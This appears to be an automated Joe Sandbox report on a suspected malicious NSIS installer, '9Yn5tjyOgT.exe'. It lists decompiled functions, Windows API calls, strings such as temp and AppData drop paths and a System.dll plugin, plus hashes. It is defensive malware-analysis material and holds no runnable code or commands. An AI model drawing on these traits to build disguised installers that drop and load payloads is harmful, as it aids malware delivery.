Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction ID: 7f687e55a7f93217ddba54fde82f382d197ef8b4c31ab339cf60f2545021b201
Opcode Fuzzy Hash: fb644b25ca39ae204efa7e1d1243337108994715b0d322cb34e58838b66aab8b
Instruction Fuzzy Hash: DD028DB0A00609EFDF209F94CD85AAE7BB5FB44354F10807AE611BA2E0C7798D52CF58

Function 738E1B5F Relevance: 20.1, APIs: 13, Instructions: 576stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 738E121B: GlobalAlloc.KERNEL32(00000040,?,738E123B,?,738E12DF,00000019,738E11BE,-000000A0), ref: 738E1225

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 738E1C6B
lstrcpyW.KERNEL32(00000008,?), ref: 738E1CB3
lstrcpyW.KERNEL32(00000808,?), ref: 738E1CBD
GlobalFree.KERNEL32(00000000), ref: 738E1CD0
GlobalFree.KERNEL32(?), ref: 738E1DB2
GlobalFree.KERNEL32(?), ref: 738E1DB7
GlobalFree.KERNEL32(?), ref: 738E1DBC
GlobalFree.KERNEL32(00000000), ref: 738E1FA6
lstrcpyW.KERNEL32(?,?), ref: 738E2140
GetModuleHandleW.KERNEL32(00000008), ref: 738E21B5
LoadLibraryW.KERNEL32(00000008), ref: 738E21C6
GetProcAddress.KERNEL32(?,?), ref: 738E2220
lstrlenW.KERNEL32(00000808), ref: 738E223A

Memory Dump Source

Source File: 00000000.00000002.2811879470.00000000738E1000.00000020.00000001.01000000.00000004.sdmp, Offset: 738E0000, based on PE: true

Associated: 00000000.00000002.2811849731.00000000738E0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2811957570.00000000738E4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2812015914.00000000738E6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_738e0000_9Yn5tjyOgT.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 7cf459f482f7d17abc5eb4e13c0315e06a774f2e22a69665af80c3101db2cee4
Instruction ID: 821b1a73e0b3de235376300c5a2dc2b9571ea08fc4353898e834ee2acecfa975
Opcode Fuzzy Hash: 7cf459f482f7d17abc5eb4e13c0315e06a774f2e22a69665af80c3101db2cee4
Instruction Fuzzy Hash: 4A229A71D8020ADBDB11DFE4C9817EEB7B6FB06305F1485AED2A6E3280D7749A80CB50

Function 00405AFA Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\,76232EE0,00000000), ref: 00405B23
lstrcatW.KERNEL32(00425730,\*.*,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76232EE0,00000000), ref: 00405B6B
lstrcatW.KERNEL32(?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76232EE0,00000000), ref: 00405B8E
lstrlenW.KERNEL32(?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76232EE0,00000000), ref: 00405B94
FindFirstFileW.KERNEL32(00425730,?,?,?,0040A014,?,00425730,?,?,C:\Users\user\AppData\Local\Temp\,76232EE0,00000000), ref: 00405BA4
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405C44
FindClose.KERNEL32(00000000), ref: 00405C53

Strings

0WB, xrefs: 00405B53
\*.*, xrefs: 00405B65
C:\Users\user\AppData\Local\Temp\, xrefs: 00405B08
"C:\Users\user\Desktop\9Yn5tjyOgT.exe", xrefs: 00405AFA

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\9Yn5tjyOgT.exe"$0WB$C:\Users\user\AppData\Local\Temp\$\*.*
API String ID: 2035342205-3589890583
Opcode ID: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction ID: 490a569b50011677cd34e026f6ab1003dec3a9533e419df12a6715eb2ed0bc70
Opcode Fuzzy Hash: 94aee6277fb60bc187ec105b0c3c889327325094ff3d5538513028a918914a00
Instruction Fuzzy Hash: 0541BF30805B18A6EB31AB618D89BAF7678EF41718F10817BF801711D2D77C59C29EAE

Function 00406AF2 Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction ID: 8a3521d6a9ab1c5b5eb45e3d7957e6eefdd785676f1866d9874d60d9aff9e69c
Opcode Fuzzy Hash: 35cbb8abcdf375330cdaaed117d7ae66e2d52f36901990e867650d9b3411c4d0
Instruction Fuzzy Hash: 1CF16770D04229CBDF18CFA8C8946ADBBB0FF45305F25816ED856BB281D7386A86DF45

Function 0040672B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,00426778,00425F30,00405E0E,00425F30,00425F30,00000000,00425F30,00425F30,?,?,76232EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76232EE0), ref: 00406736
FindClose.KERNEL32(00000000), ref: 00406742

Strings

xgB, xrefs: 0040672C

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction ID: 964bfaba6fe47efa91ae3b9d04416f3a0311ddb8c2b0a677c8b566ff70b98767
Opcode Fuzzy Hash: 8f8798618dbeb96281b7e152f222c6bef4cfc1fb78c0b92afc6d3f182eb863fd
Instruction Fuzzy Hash: 08D012315150205BC2011738BD4C85B7A589F553357228B37B866F61E0C7348C62869C

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 42b69af187e06dbbd4ac4a762ea4715538cd3e369663267481291b142cb35f12
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\,76233420,"C:\Users\user\Desktop\9Yn5tjyOgT.exe",00000000), ref: 00403B59
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Iw,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,C:\Users\user\AppData\Local\Temp\), ref: 00403BD9
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Iw,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(Call), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Local\Iw), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEd20, xrefs: 00403D06
(7B, xrefs: 00403B04
RichEd32, xrefs: 00403D14
1033, xrefs: 00403AF8, 00403B54
_Nb, xrefs: 00403C5C, 00403CC4
.DEFAULT\Control Panel\International, xrefs: 00403B44
C:\Users\user\AppData\Local\Iw, xrefs: 00403B68, 00403B70, 00403C13, 00403C19, 00403C29
RichEdit, xrefs: 00403D33
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C
C:\Users\user\AppData\Local\Temp\, xrefs: 00403AE4
RichEdit20W, xrefs: 00403D24, 00403D2A
Call, xrefs: 00403BA0, 00403BA9, 00403BB7, 00403C06, 00403C0C
"C:\Users\user\Desktop\9Yn5tjyOgT.exe", xrefs: 00403ADC
.exe, xrefs: 00403BE6

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\9Yn5tjyOgT.exe"$(7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Iw$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1495971130
Opcode ID: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: faef508d5617ccaf29f7204e00c3b9242aa942859a9d4d687d906c1b184c1908
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 00402F30 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\9Yn5tjyOgT.exe,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNELBASE(00000003,00402F73,C:\Users\user\Desktop\9Yn5tjyOgT.exe,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\9Yn5tjyOgT.exe,C:\Users\user\Desktop\9Yn5tjyOgT.exe,80000000,00000003), ref: 00402FA9
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 004030F0

Strings

C:\Users\user\Desktop, xrefs: 00402F8B, 00402F90, 00402F96
Null, xrefs: 00403029
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403139
C:\Users\user\AppData\Local\Temp\, xrefs: 00402F3D, 00403108
Inst, xrefs: 00403017
Error launching installer, xrefs: 00402F80
C:\Users\user\Desktop\9Yn5tjyOgT.exe, xrefs: 00402F4A, 00402F59, 00402F6D, 00402F8A
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403187
soft, xrefs: 00403020
"C:\Users\user\Desktop\9Yn5tjyOgT.exe", xrefs: 00402F30

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: "C:\Users\user\Desktop\9Yn5tjyOgT.exe"$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\9Yn5tjyOgT.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-2786456596
Opcode ID: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction ID: fab51a6d61a7302470dd91ad27108f0c0be819ae48098b15a947b51e22d3bd00
Opcode Fuzzy Hash: 17d4548877bb422f8be7689a7878bb05eb645905850902383813b6e2c7289b3d
Instruction Fuzzy Hash: 4961D271A00205ABDB20DFA4DD45A9A7BA8EB04356F20413FF904F62D1DB7C9A458BAD

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Call,00000400), ref: 0040654B
GetWindowsDirectoryW.KERNEL32(Call,00000400,00000000,00422708,?,00405487,00422708,00000000), ref: 0040655E
SHGetSpecialFolderLocation.SHELL32(00405487,00000000,00000000,00422708,?,00405487,00422708,00000000), ref: 0040659A
SHGetPathFromIDListW.SHELL32(00000000,Call), ref: 004065A8
CoTaskMemFree.OLE32(00000000), ref: 004065B3
lstrcatW.KERNEL32(Call,\Microsoft\Internet Explorer\Quick Launch), ref: 004065D9
lstrlenW.KERNEL32(Call,00000000,00422708,?,00405487,00422708,00000000), ref: 00406631

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 0040651B
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004065D3
Call, xrefs: 00406434, 0040650F, 00406516, 0040651A, 00406534, 00406535, 0040654A, 0040655D, 00406579, 004065A4, 004065D8, 004065DE, 004065FA, 0040660D, 0040662A, 00406630, 0040663C, 0040666F

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: Directory$FolderFreeFromListLocationPathSpecialSystemTaskWindowslstrcatlstrlen
String ID: Call$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 717251189-1230650788
Opcode ID: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction ID: bd17f2555f8fb0ecb5cfb39a154c1e2018f2892b34e65fa403921cbdc39efe9b
Opcode Fuzzy Hash: 05bff3a2d83114fcd993f4ecc25878232afbb7d489ed6444c63e00c36f1e26dc
Instruction Fuzzy Hash: A4612371A00115ABDF209F64DD41AAE37A5AF50314F62813FE903B72D0E73E9AA2C75D

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Iw\Vehefte190,?,?,00000031), ref: 004017B0
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Iw\Vehefte190,?,?,00000031), ref: 004017D5

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405450: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000,?), ref: 00405488
Part of subcall function 00405450: lstrlenW.KERNEL32(00402F08,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402F08,00000000), ref: 00405498
Part of subcall function 00405450: lstrcatW.KERNEL32(00422708,00402F08,00402F08,00422708,00000000,00000000,00000000), ref: 004054AB
Part of subcall function 00405450: SetWindowTextW.USER32(00422708,00422708), ref: 004054BD
Part of subcall function 00405450: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004054E3
Part of subcall function 00405450: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004054FD
Part of subcall function 00405450: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040550B

Strings

C:\Users\user\AppData\Local\Iw\Vehefte190, xrefs: 0040179E
C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll, xrefs: 00401835, 00401851
Call, xrefs: 0040178D, 004017A3, 004017B5, 004017C1, 004017F7, 0040180D, 0040182B, 00401867, 004018E8, 004018F1, 004018FB, 00401906
C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp, xrefs: 00401821, 0040183F

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Iw\Vehefte190$C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp$C:\Users\user\AppData\Local\Temp\nsr3ABB.tmp\System.dll$Call
API String ID: 1941528284-3377158383
Opcode ID: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction ID: 2530360bafa170a9d5e8074bf3c3c5079485a484cad24ccb9f0485aee5561d29
Opcode Fuzzy Hash: 45b834d85ef4e1e2ed7d2d31852b9ecb22d19d59077027c4906be829d01ae2f6
Instruction Fuzzy Hash: FF41C671900614BADF11ABA5CD85DAF3679EF05329B20433BF412B10E2CB3C86529A6E

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 004026B6
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 004026F1
SetFilePointer.KERNELBASE(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 00402714
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 0040272A

Part of subcall function 00405FBF: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405FD5

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 004027D6

Strings

9, xrefs: 00402699

Memory Dump Source

Source File: 00000000.00000002.2771699394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2771682031.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771716097.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771731717.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2771986843.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9Yn5tjyOgT.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction ID: add249696b334c0fceafe0529c612de3b1c59f5eaafd60b3ba6c21ea99dd66a9
Opcode Fuzzy Hash: cadc99d36448674c458fec809f66667da68abd58cfb7d9264b13fa75ded684dc
Instruction Fuzzy Hash: FD510A74D10219AEDF21DF95DA88AAEB779FF04304F50443BE901B72D0D7B89982CB59

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
wsprintfW.USER32 ref: 004067A4
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 004067B8

Strings

%s%S.dll, xrefs: 0040679E
\, xrefs: 0040677A
UXTHEME, xrefs: 0040675B

Memory Dump Source

